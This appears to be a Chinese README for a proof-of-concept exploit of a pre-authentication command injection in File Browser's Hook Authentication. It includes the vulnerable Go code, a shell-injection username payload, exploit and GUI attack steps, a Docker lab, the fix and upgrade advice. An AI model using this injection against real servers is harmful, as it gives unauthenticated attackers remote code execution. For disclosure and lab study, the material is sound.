
CVE-2026-54088 的概念验证漏洞利用程序,该漏洞是 File Browser <=2.63.5 中存在的预认证操作系统命令注入漏洞。演示了通过 Hook 认证进行 shell 注入,以实现远程代码执行。
此仓库是 File Browser 版本 <= 2.63.5 中存在的一个严重OS命令注入漏洞 CVE-2026-54088 的 Proof of Concept (PoC)。
该漏洞存在于 Hook Authentication 功能中。当管理员配置 File Browser 使用外部命令进行用户认证时,登录时提交的 username 和 password 会被未经转义地通过 os.Expand() 展开到已配置的命令字符串中。未认证的远程攻击者可以通过登录请求注入 Shell 语法,在认证成功之前执行任意命令。
发现者: saku0512 (https://github.com/Saku0512)
本项目仅用于教育目的和道德安全测试。
对于滥用、损坏或非法行为,作者不承担任何责任。未经授权访问计算机系统是违法的。请仅在获得明确许可的环境中使用本软件。
<= 2.63.52.63.6auth/hook.goHookAuth.RunCommandHookAuth.RunCommand() 将配置的认证命令分割,并使用攻击者可控制的请求数据展开认证信息的占位符。
envMapping := func(key string) string {
switch key {
case "USERNAME":
return a.Cred.Username
case "PASSWORD":
return a.Cred.Password
default:
return os.Getenv(key)
}
}
for i, arg := range command {
if i == 0 {
continue
}
command[i] = os.Expand(arg, envMapping)
}
当 hook 命令配置如下时:
sh -c $USERNAME
攻击者发送以下 username:
touch /tmp/fb_hook_auth_pwned; echo hook.action=block
在登录尝试过程中,服务器会执行攻击者控制的 shell 脚本。不需要有效的账户或密码。
此问题通过 commit 34ae34e764d72540c039f1f5ea2ec4c974168c1f 修复,从 hook 命令字符串中移除了凭据替换处理。hook 命令按原样执行,凭据仅作为环境变量传递。
command := strings.Split(a.Command, " ")
cmd := exec.Command(command[0], command[1:]...)
cmd.Env = append(os.Environ(), fmt.Sprintf("USERNAME=%s", a.Cred.Username))
cmd.Env = append(cmd.Env, fmt.Sprintf("PASSWORD=%s", a.Cred.Password))
被移除的脆弱处理是在调用 exec.Command() 之前,通过 os.Expand() 循环用攻击者可控制的凭据重写命令参数。本次修复还包括回归测试,确保注入的凭据无法修改 hook 命令,并且 USERNAME / PASSWORD 仍可通过环境变量供 hook 使用。
启动存在漏洞的 File Browser 环境。filebrowser-init 服务创建数据库,并使用易受攻击的命令启用 Hook Authentication。
docker compose up -d
目标可通过以下 URL 访问:
http://localhost:8080
从此目录运行 exploit 脚本。
python3 exploit.py -t http://localhost:8080 -c "touch /tmp/fb_hook_auth_pwned"
该 exploit 向 /api/login 发送一次未认证的登录请求。预计认证会失败,但在那之前注入的命令将被执行。
在浏览器中打开 File Browser 登录页面:
http://localhost:8080
在登录表单中输入以下值并点击登录按钮:
Username: touch /tmp/fb_hook_auth_gui_pwned; echo hook.action=block
Password: anything
登录会失败,但 Hook Authentication 的命令执行发生在认证结果返回之前。通过以下命令确认 GUI 操作已在容器内创建标记文件:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_gui_pwned
如果文件存在,则确认通过 GUI 登录操作也发生了预认证 RCE。
确认命令已在 File Browser 容器内执行:
docker exec -it cve-2026-54088-hook-auth-vuln ls -l /tmp/fb_hook_auth_pwned
如果文件存在,则确认预认证 RCE 成功。
docker compose down -v
请将 File Browser 更新到 版本 2.63.6 或更高版本。
凭据不应嵌入到 shell 命令字符串中,而应仅作为环境变量传递给 hook 命令。对于其他命令执行路径,也应避免 shell 评估,或进行严格的参数分离和转义。